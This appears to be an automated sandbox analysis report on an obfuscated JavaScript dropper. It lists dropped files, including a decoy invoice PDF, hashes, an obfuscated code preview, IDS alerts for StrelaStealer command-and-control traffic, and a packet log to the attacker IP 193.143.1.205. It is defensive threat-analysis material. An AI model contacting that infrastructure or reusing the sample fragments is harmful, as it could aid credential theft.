Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\859af8e7-6091-42ab-894e-860769778fee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dcc60e4f-026d-4f9d-96f8-7467de56a30b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ec81fa47-b555-40fb-a4d7-ad8450b69f36.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17093), with CRLF line terminators
Entropy (8bit):	4.871711248549999
TrID:
File name:	2067419799306291220.js
File size:	20'488 bytes
MD5:	7dc103d50664fb6e9f06b1120485bbc6
SHA1:	a5a6363de1ffe96014ed1c295515a7c59a971e55
SHA256:	460a3f60ffcbb7cd45890f26780ecb226d1dba38ae7b6277144021d2b63e96a3
SHA512:	01328c4b046353f5c7af7a1219df9706daf37d032110d98073ac945a140f32ce46f8b0f5deff9ed82b2162f566ffdfbc86952347c7ad863072b90b14ff1bfef7
SSDEEP:	384:lf8iDnySA81ArmqaWuTwOKwOpVh8wITbzGKAt7uVbKTlg8l278FOkHjRv5wgJdcB:XnySA81kaWuTlKlpVywITbzGKAt7uVbj
TLSH:	37924794A8558BB548D82AFC62A31D77624C42DDEADC30AB755128102F1DF38E1EB2F7
File Content Preview:	function tsuveqfk(){cixsgdug=[1031,3079,5127,4103,2055,3072];var yjlrjh=this[icpirdgu+btqzipwnx+xagzthjy+pncct+goduo+qtdgr+tjbjwiu+wjismuau](this[crolsn+xjvbfpysl+lxdsxs+xagzthjy+xaggsn+icpirdgu+wjismuau][pdfipmnt+xagzthjy+goduo+btqzipwnx+wjismuau+goduo+j

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:24:40.888130+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49708	193.143.1.205	80	TCP
2025-01-11T06:24:40.888130+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49708	193.143.1.205	80	TCP
2025-01-11T06:24:45.119504+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49730	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:24:40.088588953 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.093580961 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.093764067 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.097112894 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.102022886 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.887950897 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888021946 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888055086 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888108969 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888129950 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.888143063 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888191938 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.888200998 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888231039 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888251066 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.888264894 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888300896 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888336897 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.888386011 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.888386965 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.893143892 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.893197060 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.893232107 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.893304110 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:40.942208052 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.942210913 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:40.942447901 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.011858940 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.011893988 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.011948109 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012002945 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012052059 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012083054 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.012083054 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.012085915 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012123108 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012298107 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.012873888 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012911081 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.012960911 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.013137102 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013171911 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013190985 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.013209105 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013308048 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.013550043 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013607979 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013644934 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013679028 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013715029 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.013726950 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.013726950 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.014492989 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.014527082 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.014553070 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.014580965 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.014616966 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.014667034 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.018758059 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.018794060 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.018846989 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.018855095 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.018879890 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.018917084 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.027292013 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.027688980 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.109597921 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.109642982 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.109678984 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.109744072 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.135860920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.135898113 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.135925055 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.135936022 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.135946035 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.135948896 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.135966063 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.135987997 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136004925 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136030912 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.136113882 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.136512041 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136538029 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136553049 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136568069 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136569023 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.136584997 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.136615992 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.136639118 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.137095928 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137113094 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137283087 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.137319088 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137336016 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137353897 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137387991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137406111 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137423992 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137427092 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.137427092 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.137442112 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.137479067 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.138365984 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138381958 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138400078 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138416052 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138441086 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138448954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138453007 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.138453007 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.138458967 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.138506889 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.138542891 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.139220953 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139238119 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139261961 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139276981 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139292955 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139307976 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139334917 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.139337063 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.139358997 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.140242100 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140258074 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140274048 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140290022 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140305042 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140321016 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140336990 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.140363932 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.140363932 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.140424013 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.141076088 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.182013035 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.196371078 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.233351946 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.233367920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.233403921 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.233428001 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.233463049 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.233486891 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.233499050 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.233542919 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.233551025 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.259905100 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.259922028 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.259946108 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.259960890 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.259978056 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.259994030 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260226965 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260246992 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260263920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260591030 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260607004 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260631084 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260644913 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.260660887 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261203051 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261219025 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261234999 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261251926 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261265993 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261374950 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.261390924 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262165070 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262181044 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262196064 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262222052 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262237072 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262252092 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.262269020 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263242960 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263277054 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263310909 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263339043 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263339043 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263339043 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263339043 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263361931 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263397932 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263420105 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263432026 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263436079 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263436079 CET	49708	80	192.168.2.7	193.143.1.205
